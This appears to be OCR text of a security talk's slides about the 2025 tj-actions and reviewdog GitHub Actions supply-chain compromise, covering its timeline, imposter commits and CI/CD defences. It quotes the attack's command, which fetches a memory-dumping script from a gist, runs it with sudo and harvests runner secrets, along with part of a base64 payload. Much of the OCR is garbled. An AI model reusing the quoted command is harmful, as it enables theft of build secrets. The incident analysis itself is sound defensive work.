: 54d929a33e7521abbbT19d323d28fbThET6C53TT)
: 54d929a33e7521abbbT19d323d28fbTbBT6C53TT)
: 54d929a33e7521abbbT19d323d28fbTb8T6C53TT)
1 544929a33e7521ab6b 19032302870 TBETECS3TT)
1 544929a33e7521ab6bT190323d2870TRETECSITT)

actions/upload-artifact @ master (5HA: dcecidBaaddeInd]abBIFTdedcdcdbTbSdceBecl)

schneegans /dynamic-badges-action @ v1.4.8 (

schneegans/dynamic-badges-action @ v1.4.9
schneegans/dynamic-badges-action @ vi.4.8
schneegans/dynamic-badges-action @ vi.4.8
schneegans/dynamic-badges-action @ v1.4.8
schneegans/dynamic-badges-action @ vi.4.8
schneegans/dynamic-badges—action @ v1.4.8
schneegans/dynamic-badges—action @ v1.4.8

for repo facebook/OpenBIC run ID: 13788892551
reviewdog/action-setup @ v1 (SHA: 3f481feld58fe77elBd665ab713857375c300EET)
actions/upload-artifact @ master (5HA: 4cecidfaafdelSdlabBISTdedcdcdbibSdcelecl)

¢ 544929a33e7521ab6bT190323d28THTHETHCSITT)
= 54d929a33e7521ab6bT19d323d28TbTHETEC3TT)
= 54d929a33e7521ab6bT19d323d287bThET6CS3TT)
: 54d929a33e7521abbbT19d323d287bTHET6CS3TT)
t 544979333e7521absb 10432328 B TBETECS3TT)

7521, 19d323d281b7hET f7)

1 540920a33e7521ab60T190323d287070876C53T7)
! 544929a33e7521ab6bT1903230287070876C5317)

cl)

reviewdog/action=setup @ w1 (5HA: 3T4@1feld58feTTeldd6b5abT13057375e39bEAT)

remote: Enumerating objects: 2399, done.
remote: Counting objects: 100% (147/147), done.
remote: Compressing objects: 188% (90/98), done.

remote: Total 299 (delta 77), reused 74 (delta 54), pack-reused 152 (from 1)
Receiving objects:

remote: Enumerating objects: 1889, done,

108% (299/299), 74.41 KiB | 3.54 MiB/s, done.

remote: Counting objects: 100% (189/183), done.

[!] Dangling commit detected: reviewdog/action-setup @vl f@d342d24837bb11d26b9bd8406e8E08bal2edec I



Tag manipulation to point to malicious commit

v @ Setupjob

Current runner version: '2.322.9'
2 » Operating System
& » Runner Image
11 » Runner Image Provisioner
13 » GITHUB_TOKEN Permissions
28 Secret source: Actions
29 Prepare workflow directory
30 Prepare all required actions
31 Getting action download info
32 Download action repository ‘actio : A eefbh! Bbb6E d
33 Download action repository revxeudog/act1on-setupev1' (SHA f0d342¢24037bb11d26b9bd8496e0808b332e9ec)
34 Download action repository ‘'actions/download-artifact@v4' (SHA:cc203385981b78cab7elcc392babf9cc229d5806)
35 Complete job name: Aggregate-Lint-Output




Visualizing Secret Leakage in GitHub Actions Logs

v @ Run reviewdog/action-setup@v1 4s

11
12
13

14
15
16
17

18
19
20
21

» Run reviewdog/action-setup@vl
» Run set -eu
v & Preparing environment ...
Matching Defaults entries for runner on fv-az1945-234:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User runner may run the following commands on fv-az1945-234:
{ALL) MNOPASSWD: ALL

SW1kcGRHaDFZbDkwYjJBbGIpSTZ leUoyWVdAMVpTSTZIbWRYY zZESdFMy

BjMUSsWTNKbGRDSTZKSEoxWlgwS@1uTjViM1IsY1M1bmFYUm9kVe 1171

NFdHW1daWFJEVTJaU1lVgqTTFNbGhaVm1kWU1lpd2 LhWESUWLldOeVpYUWLE

* & Installing reviewdog ... https://github.com/reviewdog/reviewdog
reviewdog/reviewdog info checking GitHub for tag 'latest’
reviewdog/reviewdog info found version: 9.28.3 for v0.20.3/Linux/x86_64

reviewdog/reviewdog info installed /home/runner/work/_temp/reviewdog/bin/reviewdog



Tracing Reviewdog Compromise Back to the Spotbugs Compromise

. . - dependency
tj-actions/eslint-changed- . .
) / p & — reviewdog/action-setup 7
les Attacker
used in ‘ exploit a Pwn Request vuln
l steal maintainer’s PAT l

steal maintainer’s

tj-actions/changed-files spotbugs/spotbugs ﬂ spotbugs/sonar-findbugs

Source: https://unit42.paloaltonetworks.com/github-actions-supply-chain-attack



Timeline of the Investigation

We identified multiple public

repositories leaking secrets in

build logs. Users were advised to

follow recovery steps

immediately

March 14, 2025
8:00 PM UTC

March 14, 2025
5:00 PM UTC

Our initial investigation
confirmed that most versions of
“tj-actions/changed-files™ were

compromised

GitHub restored the
repository. All versions of the
action were cleaned, and no
longer included the malicious

code

March 15, 2025
10:00 PM UTC

March 15, 2025
2:00PM UTC

GitHub removed the 'tj-
actions/changed-files™ Action,
making it unavailable to

workflows

March 18, 2025
2:30 AM UTC

Further investigation
uncovered that several Actions
in the ‘reviewdog™ GitHub
organization were also

compromised



Domino Effect: From Pwn Request to Mass Breach

GITHUB ACTION WITH ACCESS
10 23.000 REPOS GET BREACHED

T~ .t o — A

A PWN REQUEST, '
VULNERABILITY




04.

How the Attackers Tried to
Evade Detection



Use of legitimate GitHub domain in tj-
actions exploit

if [[ "$0STYPE" "linux-gnu" 11; then
B64_BLOB="curl -sSf https://gist.githubusercontent.com/nikitastupin/
30e525b776c409e03c2d6f3281254965/ raw/memdump.py | sudo python3 | tr -d '\@' |
grep —aoE '" [~ ]1+":\{"value":"[*"]x","isSecret":true\}' | sort —-u | base64 -w @°

echo $B64_BLOB
else

exit 0
fi




Use of legitimate GitHub domain in tj-
actions exploit

https://gist.githubusercontent.com/nikitastupin/

30e525b776c409e03c2d613281254965/ raw/memdump. py




No Network Connection Made by
Reviewdog Exploit Code

SCRIPT_RUNNER="IyEvYmluL3B5dGhvbgojIGJhc2VkIG9uIGhOdHBz0i8vYXROYWNrZXIuY29tL2Jsb2cvM
JAyMy@OwMy@wMilnaXRodWItYWN@aWQucyltaXRtLWN2ZQppbXBvcnQgc31zCmltcG9ydCByZQppbXBvcnQgb
3MKZGVmIGd1dF9waWQoKToKICAgIGZvciBwaWQgawW4gb3MubGlzdGRpcihcIi9wem93XCIpOgogICAgICAgI
G1mIHBpZC5pc2RpZ210KCk6CiAgICAgICAgICAgIHdpdGggb3BlbihmIi9wem?jL3twfS9jbWRsaW51Ii5mb
3JtYXQocGlkKSwgInJiIikgYXMgcGY6C1iAgICAgICAgICAgICAgICBjbWRsaW51IDOgcGYucmVhZCgpCiAgI
CAgICAgICAgICAgawYgY1JSdW5uZXIuV29ya2VyIiBpbiBjbWRsaW510gogICAgICAgICAgICAgICAQgICByYZ

XR1cm4gcGlkCiAgICByYW1zZSBBc3N1cnRpb240IkNhbid@IGd1dCBwaWQgb2YgUnVubmVyLldvemtlciIpC

gppZCA9IGd1dF9waWQoKQptZW1fcGFRaCA9IGY1L3Byb2MvIG1lkL21hcHMiCm11b19wYXRoX2RhdGEgPSBmI

19wcm9jLyR. ..




Commit Activity Appeared Normal

Commits on Mar 16, 2025

Deleted renovate.json
& jackton1 committed on Mar 16 - v 50 /53

Commits on Mar 15, 2025

Upgraded to v45.0.8 (#2462) =@

g'i tj-actions-bot and jackton1 authored on Mar 15

Commits on Mar 10, 2025

chore(deps): lock file maintenance (#2460) ==
u renovate[bot] authored on Mar 10 - « 50 /53

Commits on Mar 8, 2025

chore(deps): update dependency @types/node to v22.13.10 (#2459) =2
a renovate[bot] authored on Mar 8 - «» 50 /53

Commits on Mar 7, 2025

chore(deps): update dependency eslint-config-prettier to v10.1.1 (#2458) &=
u renovate[bot] authored on Mar 7 - «~ 50 /53

chore(deps): update dependency eslint-config-prettier to v10.1.0 (#2457) =
a renovate[bot] authored on Mar7 - + 50/53

o Commits on Mar 4, 2025

chore(deps): update peter-evans/create-pull-request action to v7.0.8 (#2455) =
u renovate[bot] authored on Mar 4 - «+ 50/ 53

(Verified)

(Verified )

(verified)

\i\/enfied:}

E:Veri fiedi:}

(\Verified )

e37e952

a284dcl

9200e69

e650cfd

82af21f

82fadab

3155@5a




Imposter Commits Impersonated Legitimated Users

G 5 github.comftj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b0718835ace038e67 ¢ % github.com/reviewdog/action-setup/commit/f0d342d24037bb11d26b9bd8496e0808ba32edec

O tj-actions / changed-files O reviewdog / action-setup

> Code () Issues 7 iy Pullrequests 2 ) Discussions Actions EE] Projects Security 1 Insights lssues 6 i1 Pull requests 4 Actions EE‘ Projects ecurity %

Insights

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. This commit does not belong to any branch on this repository, and may belong to a fork outside of the repaository.

Commit @e58ed8 Commit f@d342d

a renovate[bot]

.‘ review-dog commi on Mar 11

chore(deps): lock file maintenance (#2460) fix(install): correctly handle different environments




Imposter Commits Impersonated Legitimated Users

23 github.com/tj-actions/changed-files/commit/0e58ed8671d6b60d0890c21b07{8835ace38e67

O tj-actions / changed-files

> Code () Issues 7 iy Pullrequests 2 ) Discussions () Actions [ Projects (D Security

/N This commit does not belong to any branch on this repository, and may belong to a fork outside of the repositary.

Commit @e58ed8

c 23 github.com/reviewdog/action-setup/commit/f0d342d24037bb11d26b9bd8496e0808ba3 2e9ec

O reviewdog / action-setup

] Code (©) Issues 6 il Pullrequests 4 () Actions [ Projects () Security |~ Insights

£\ This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Commit f@d342d

fix(install): coerrectly handle different environments




Attack Amplification: How
Much Worse Could This Have
Been?

e Exfiltrated secrets to an attacker-controlled

endpoint

* Launched additional chained supply chain

attacks
* |nserted backdoors into software builds

* Executed targeted supply chain attacks




Who was behind these CI/CD supply chain attacks?

il

THERE IS NO ATTACKER ATTRIBUTION!



05.

Concrete recommendations
for CI/CD security



Security Monitoring for Runners

,\z‘fp

(YOUR INTERN'S LAPTOP HAS™*—

b
MORE SECURITY MONITORING THAN YOUR
~ BUILD SEIWEIIS THAT DEPLOY.TO PROD

| S 4 \\‘Q ;
> - .'[ ﬂ.,\,.



Security monitoring for Runners

You can build your own baseline monitoring system or
extend one using open-source EDR tools such as

Wazuh Falco Tetragon



Set and Enforce an

Action Allowlist GitHub
Action not

GitHub
Action
with explicit
approval




Pin third-party GitHub Actions to specific commit SHA

Pinning Actions to
specific commit SHA

Using :latest tag
in GitHub Actions

Unexpected §
ode change!

my build

Pin it or panic.



Real-world Difficulties Aced by Affected
Organizations

Using a compromised tj-actions/changed-files GitHub Action #1583

shubham-stepsecurity opened on Mar 17

Filing a public issue instead of reporting this as a private vulnerability, as | could not find a security.md file. Moreover, this
malware is a publicly known and an urgent issue.

This repo uses a compromised version of tj-actions/changed-files. The compromised action leaks secrets the runner has in
memory.

langsmith-sdk/.github/workflows/integration_tests.yml
Line 32 in fd0796¢

32 uses: tj-actions/changed-files@v45

This run ids has creds leaked. Please rotate (if applicable) and delete the workflow run.

13867756496, 13867629709, 13867434879, 13867422480, 13867292068, 13867077206, 13866683365, 13866592795,
13864483482, 13863919302

eg: https://github.com/langchain-ai/langsmith-sdk/actionsfruns/13867756496/job/38810080294#step:3:60

You can also use https://github.com/step-security/changed-files going forward.

Reference about this incident: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-
compromised

®




Real-world Difficulties Aced by Affected
Organizations

Using a compromised tj-actions/changed-files GitHub Action #1583

shubham-stepsecurity opened on Mar 17

Filing a public issue instead of reporting this as a private vulnerability, as | could not find a security.md file. Moreover, this
malware is a publicly known and an urgent issue.

This repo uses a compromised version of tj-actions/changed-files. The compromised action leaks secrets the runner has in
memory.

langsmith-sdk/.github/workflows
Line 32 in fd0796¢

32 uses: tj-actions/changed-files@v45

This run ids has creds leaked. Please rotate (if applicable) and delete the workflow run.

13867756496, 13867629709, 13867434879, 13867422480, 13867292068, 13867077206, 13866683365, 13866592795,
13864483482, 13863919302

eg: https://github.com/langchain-ai/langsmith-sdk/actionsfruns/13867756496/job/38810080294#step:3:60

You can also use https://github.com/step-security/changed-files going forward.

Reference about this incident: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-
compromised




Real-world Difficulties Aced by Affected
Organizations

13867756496, 13867629709, 13867434879, 13867422480, 13867292068, 13867077206, 13866683365, 13866592795,

13864483482, 13863919302



Real-world Difficulties faced by Affected
Organizations

Using a compromised tj-actions/changed-files GitHub Action #1583

shubham-stepsecurity opened on Mar 17

Filing a public issue instead of reporting this as a private vulnerability, as | could not find a security.md file. Moreover, this
malware is a publicly known and an urgent issue.

This repo uses a compromised version of tj-actions/changed-files. The compromised action leaks secrets the runner has in
memory.

langsmith-sdk/.github/workflows/integration_tests.yml
Line 32 in fd0796¢

32 uses: tj-actions/changed-files@v45

hISTURNCSIRaSICIERSNEaketl Plcase rotate (if applicable) and delete the workflow run.

13867756496, 13867629709, 13867434879, 13867422480, 13867292068, 13867077206, 13866683365, 13866592795,
13864483482, 13863919302

eg: https://github.com/langchain-ai/langsmith-sdk/actionsfruns/13867756496/job/38810080294#step:3:60

You can also use https://github.com/step-security/changed-files going forward.

Reference about this incident: https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-
compromised




Incident Response for Compromised Actions




Concrete Recommendations for
Cl/CD security

» Security monitoring for CI/CD Runners
e Setand Enforce an Action Allowlist
* Pin third party GitHub Actions to specific commit SHA

* Incident Response for Compromised Actions



Compromise
Popular

Tags

GitHub Action to Impos_ter

caught due to
security
monitoring
on runners

access to
Organization
Secrets

DIDNT 'I'IIIIIK THAT PART THROUGH,
DIDYA?
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